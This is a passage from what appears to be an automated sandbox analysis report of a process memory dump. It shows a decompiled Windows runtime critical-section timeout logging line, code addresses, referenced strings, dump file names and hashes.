                                      				return E036F5720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
                                      			}










                                      0x036ffdda
                                      0x036ffde2
                                      0x036ffde5
                                      0x036ffdec
                                      0x036ffdfa
                                      0x036ffdff
                                      0x036ffe0a
                                      0x036ffe0f
                                      0x036ffe17
                                      0x036ffe1e
                                      0x036ffe19
                                      0x036ffe19
                                      0x036ffe19
                                      0x036ffe20
                                      0x036ffe21
                                      0x036ffe22
                                      0x036ffe25
                                      0x036ffe40

                                      APIs
                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 036FFDFA
                                      Strings
                                      • RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 036FFE01
                                      • RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 036FFE2B
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                      • String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
                                      • API String ID: 885266447-3903918235
                                      • Opcode ID: 2b748ebfbaf7b520fab95dc2953aa3ec924b34c8839a6279c4e57b2984b75dd6
                                      • Instruction ID: 46ab44ab4a988aa52dd0012131df70021347177e017323c7018236bbc677ed2f
                                      • Opcode Fuzzy Hash: 2b748ebfbaf7b520fab95dc2953aa3ec924b34c8839a6279c4e57b2984b75dd6
                                      • Instruction Fuzzy Hash: F5F0F676640601BFD6209A45DC06F27BF6AEB45730F140318F7285A1D1EA62FC2086F4
                                      Uniqueness

                                      Uniqueness Score: -1.00%